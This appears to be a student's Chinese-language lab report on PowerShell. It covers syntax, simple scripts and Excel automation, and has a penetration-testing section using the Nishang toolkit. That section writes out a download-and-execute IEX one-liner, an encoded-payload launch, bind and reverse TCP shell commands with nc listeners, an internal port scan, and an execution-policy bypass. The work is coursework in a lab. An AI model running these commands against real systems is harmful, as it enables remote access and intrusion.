2018~2019-11 20165107 网络对抗技术期末免考 Exp10 Final Powershell学习应用与渗透实践
20165107 网络对抗技术免考 Exp10 Final Powershell学习应用与渗透实践
目录
1.Powershell入门相关知识
- Powershell简介
- Powershell命令
- Powershell语法
- Powershell函数
- Powershell管道
- powershell特性介绍
2.Powershell脚本
- 脚本编写和运行操作
- 简单脚本实现
3.Powershell恶意代码攻击及简单渗透测试
- 常见攻击工具简介
- TCP交互式Shell渗透测试
- 利用脚本在主机内网端口扫描测试
4. PowerShell其他应用
- Office互操作
- 编写简单脚本并形成工具供他人使用
5.实验总结与体会
报告正文
1.Powershell入门相关知识
1.1.Powershell简介
Powershell不仅仅是一门脚本语言,也是一种运行命令行的工具,它对编程基础要求不高,没有任何基础的人也都可以学习。Powershell的应用给Windows系统的使用者提供了许多自动化管理系统的方法。Powershell是以.Net Framework为技术基础,依托.Net Framework框架,拥有能够访问整个.Net Framework底层的能力。
Powershell的诞生源于对Unix Shell的追逐,因为Unix拥有强大的Shell,比如sh、bash以及csh,而Windows的Cmd功能相差甚远。2016年8月,微软开放了Powershell的源代码,并表示将支持Linux系统。
打开Powershell有两种方法,一是使用“Win+R”组合按键打开运行窗口,输入“Powershell”,然后按回车键打开;二是使用开始菜单,打开附件、Powershell。
*检查本机Powershell版本号
1.2Powershell命令
Powershell有很多不同类型的命令,部分叫做Cmdlet,每一个Cmdlet在Powershell上唯一,除了这些内置的Cmdlet,Powershell还可以使用外置命令行命令,就是我们经常在Cmd上使用的那些命令。举例,Powershell使用外置Ping命令来检查本地主机的内网连通状况,使用时将在后台开启Cmd.exe。
Powershell命名习惯为“动词—名词”,这样有助于我们准确猜解命令含义,便于加深对命令的理解。但这些命令相较于Cmd依然过长,输入命令过长且易输错,所以诞生了别名,简短而方便输入。还有一种比较长的命令,Powershell可以直接调用.Net Frame 底层功能,其内在支持着许多的.NET对象。
可以通过“Get-Alias -name别名”查询别名所指的真实cmdlet命令。
1.3Powershell语法
(1)变量
变量都是以$开头的,剩余字符可以是数字、字母、下划线的任意字符,且不区分大小写。
变量赋值符=,其几乎可以把任何数据赋值给一个变量。举例,交换两个变量的值。
自动变量:一旦打开Powershell就会自动加载的变量;列表传送->。
指定类型定义变量:[变量类型]$变量名
(2)数组
创建数组: $array = 1,2,3,4
$array = 1..4
$a=@() # 空数组
$a=,"1" # 一个元素的数组
访问数组: $array[0]
判断一个变量是否为数组:$test -is [array]
数组的追加:$books += "元素4"
强类型数组:[int[]] $nums=@()
(3)条件判断
比较运算符 :-eq:等于 -ne:不等于 -gt:大于 -ge:大于等于 -lt:小于 -le:小于等于 -contains:包含 -notcontains:不包含
布尔运算 :-and:和 -or:或 -xor:异或 -not:逆
以及if-else语句、循环语句while。
1.4Powershell函数
(1)定义函数
函数的结构由三部分组成:函数名,参数,函数体
删除函数 :控制台定义的函数只会在当前会话生效,一旦控制台退出,会自动消失。在不关闭控制台的条件下删除一个已经定义好的函数,可是使用虚拟驱动器的方法:del Function:函数名
(2)函数的参数
万能参数:给一个函数定义参数最简单的是使用$args这个内置的参数。它可以识别任意个参数。尤其适用哪些参数可有可无的函数。
Return语句 :Powershell会将函数中所有的输出作为返回值,但是也可以通过return语句指定具体的我返回值。Return语句会将指定的值返回,同时也会中断函数的执行,return后面的语句会被忽略。
(3)支持的函数
Powershell已经提供了许多用户能够使用的预定义函数,这些函数可以通过Function:PSDrive虚拟驱动器查看
相关函数作用:
Clear-Host:清除屏幕的缓存
help,man:查看命令的帮助文档
mkdir,md:通过new-Item创建子目录
more:分屏输出管道结果
prompt:返回提示文本
TabExpansion:Tab键的自动完成提示
X:调用Set-Location定位到指定的驱动器根目录
1.5Powershell管道
管道将一个命令的输出结果传输作为下一条命令输入的一部分,联合执行新的命令。强大的管道功能使得命令的输入变得简单,一个可能需要很多变量的才能完成的脚本命令,通过管道的运用可能仅仅一个序列行就可以完成。举例,运用管道命令的形式将当前路径文件的信息以默认的形式输出在控制终端上。
1.6powershell特性介绍
Powershell将命令交互式环境与脚本结合在一起,从而拥有操作命令行和直接调用COM对象的能力。举例,Powershell进行数值计算可以看出它是一种交互式环境。
Powershell也有自己的开发环境,Powershell ISE 就扮演着集成开发的功能,可以在编程powershell程序时进行编辑和调试。
2.Powershell脚本
2.1脚本编写和运行操作
Powershell脚本可以理解为含有Powershell代码的文本文件,如果要执行这个文本文件,Powershell解释器会逐一解释并执行它的每一条语句。举例,下面通过重定向创建Powershell脚本myscript.ps1。
显示创建脚本文件成功!
2.2简单脚本实现
创建“5107good.ps1”脚本文件内容
脚本内容:
$a = "20165107 is good student"
$a
echo $a > a.txt
dir a.txt
脚本的意思是:先定义了一个变量,然后输出这个变量的结果,再将这个变量的值写入文件a.txt,最后输出这个文件的属性信息。
运行脚本:
要注意的是:在执行过程中我遇到了系统禁止新创建脚本执行的情况,这就要考虑Powershell的执行策略了。脚本执行策略是微软为Powershell脚本执行设置的一种安全选项,为了防止用户在被渗透注入的情况下,执行一些破坏性脚本。如果遇到系统禁止新创建脚本执行的情况,我们可以使用“Bypass”标记执行策略,绕过Powershell脚本执行策略。
3. Powershell恶意代码攻击及简单渗透测试
3.1常见攻击工具简介
Powershell的主要功能已经可以运用到攻击入侵的各个阶段,它的很多模块已经被列入白名单,从而进行渗透测试、绕过防病毒检测、保留持久性后门等等功能。例如,为避免被发现,Powershell脚本可以动态加载到内存中,从而不接触硬盘,在用户计算机留下极少量的证据。常见的攻击应用工具有PowerSploit、Veil-Framework、NiShang、SET、Metasploit和Empire。
3.2使用常规应用工具进行Powershell恶意代码攻击——Nishang
3.2.1.准备工作
我选择Nishang工具进行渗透攻击,Nishang是基于PowerShell的渗透测试专用工具,它集成了框架、脚本和各种payload,被广泛应用于渗透测试的各个阶段。在使用前,先检查自己的powershell版本,要在v3以上才能使用。使用“get-host”命令查询。
以powershell管理员身份进入相应目录下,导入框架:Import-Module .\nishang.psm1,这里又存在执行策略的问题,要记得对执行策略进行修改。
导入框架后,在使用对应脚本时,可以使用Get-Help 脚本名称 -full得到一些使用提示。
有两种在内存当中加载脚本的方式 :
第一种:
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.](IEX为远程下载脚本)
第二种:
使用Invoke-Encode脚本来将我们现有的脚本编码压缩:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
在目标上执行:powershell -e [encodedscript]
3.2.2.渗透测试
(1)TCP交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,且基于TCP协议。
参数
-Port需要正向监听的端口或要反向连接的端口。
-Bind正向连接
-IPAddress选择反向连接时需要连接到的IP地址
-Reverse反向连接
正向连接 :
在靶机运行脚本,监听端口5107:Invoke-PowerShellTcp -Bind -Port 5107
使用nc连接到靶机端口5107:nc -nv 192.168.150.133 5107(这里IP为win7)
成功获取到shell!
反向连接:
使用nc监听本地端口5107:nc -ltp 5107
在靶机上反弹shell:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.150.151 -Port 5107(这里IP为kali)
下面,我对此脚本进行分析:
先使用Get-Help Invoke-PowerShellTcp -full查看信息
运行参数部分:“reverse”默认为反向连接,可选参数有reverse和bind两种。
主函数部分:
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
函数的目的是在kali终端上显示被攻击主机的用户名和主机名(主机型号)。
(2)利用脚本在主机内网进行端口扫描
利用Invoke-PortScan指令:PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.150.1 -ResolveHost -ScanPort -Port 80 进行端口扫描
扫描结果:(图中还显示了正在ping的过程)
对脚本进行分析:
主要的参数有:
StartAddress 是扫描范围开始的地址
EndAddress 扫描范围结束的地址
ScanPort 进行端口扫描
Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080等) TimeOut 设置超时时间
4. PowerShell其他应用
4.1.Office互操作
PowerShell可以通过COM接口和Office程序交互,最常用的是操作Excel,下面我们开始学习操作Excel。
创建一个可见的Excel对象:$excel.Visible=$true
打开一个现成的工作簿:$workbook = $excel.Workbooks.Open("XXX.xlsx")
创建一个新的工作簿:$workbook = $excel.Workbooks.Add()
选择某一个工作表(这里的下标从一开始):$worksheet = $workbook.Worksheets.Item(1)
保存修改后的工作表:$workbook.SaveAs("D:\Desktop\hello.xlsx")
操作数据:
利用以上语法我们对已存在的一个Excel表格进行数据的写入。
脚本demo.ps1为:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\一林\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 9; $i++) {
# 第一行
$worksheet.Cells.item(1, $i + 1) = $i
# 第一列
$worksheet.Cells.item($i + 1, 1) = $i
# 它们的乘积
for ($j = 1; $j -le 9; $j++) {
$worksheet.Cells.item($i + 1, $j + 1) = $i * $j
}
}
再将excel表格中的数字显示在powershell中,脚本demo2.ps1为:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\一林\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 10; $i++) {
for ($j = 1; $j -le 10; $j++) {
Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
}
Write-Host
}
执行命令行,显示出结果。
4.2自己编写简单脚本并形成工具供他人使用
我们使用PowerShell自带的开发工具PowerShell ISE来编写脚本
我们首先借用WMI对象写一个可以输出计算机C盘信息的命令:Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
接下来我们指定某个计算机:Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
我们的目的是写好脚本给别人,对方直接调用这个脚本后直接输入命令,这样就可以实现上述功能:输出计算机C盘信息的命令。
我所写的脚本内容为:
<#
.Synopsis
This is for diskinfo
.DESCRIPTION
This is for remote computer
.EXAMPLE
diskinfo -computername remote
#>
function Get-diskinfo
{
[CmdletBinding()]
Param
(
# Param 帮助描述
[Parameter(Mandatory=$true)]
[string[]]$ComputerName,
$bogus
)
Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
}
现在,我们可以使用这个写好的脚本运行
调用脚本:. .\Diskinfo.ps1
使用:get-diskinfo -ComputerName localhost
结果显示脚本运行成功。
5.实验总结与体会
本次免考我做的题目是powershell基础学习与应用以及利用powershell脚本进行简单的渗透攻击。在准备题目的过程中,我查阅了有关powershell语言和脚本的编写方法,接触到powershell的很多应用,感受到微软powershell功能的强大,同时也发现powershell存在着很多漏洞,这也让powershell成为黑客、白帽子攻击和研究的重点对象,而微软也发现了powershell的安全风险,所以默认限制了powershell运行脚本的权限,所以我在实验过程中首先就要更改powershell的脚本执行权限。针对powershell攻击,市面上已经有多款成熟的应用,比如我所选择的Nishang,就是各种攻击脚本的集合,在实验中我只进行了最简单的渗透攻击,其实它含有的攻击手段和应用还有很多很多……免考让我重新认识了powershell,之前我对powershell的印象还是和cmd差不多的简单的命令窗口之类的东西,经过免考题目的准备和学习,我对powershell的认识就像是打开了新世界的大门,总之免考内容的学习令我收获很大。
当然,一学期的网络对抗课程结束了,时间真的好快!这门课给我与其他课程不同的感觉,虽然是选修,但我学的很认真、很有动力。因为网抗的知识和内容不仅激发兴趣,还大幅度提升了我上机操作的动手实践能力,每个实验成功后都有一种小成就感。我印象最深的是老师上课跟我们所强调的:“做实验前,一定要理清实验思路,明确每一步都在干什么,把握好大方向,出现问题研究错在哪里,找到问题产生原因并解决,千万不能盲目地按步骤做,都不知道自己在做什么……我们不需要背指令,要有能查到、能看懂、现学现用的能力,站在巨人的肩膀上。”老师的话我铭记在心,因为它们不仅仅能应用在实验过程中啊,衷心感谢老师!网络对抗课我收获很大,它隶属我的专业课,对日后学习工作都有帮助,我也会继续学习网络对抗相关知识,不断提升自己的网络安全意识和信息安全技术水平。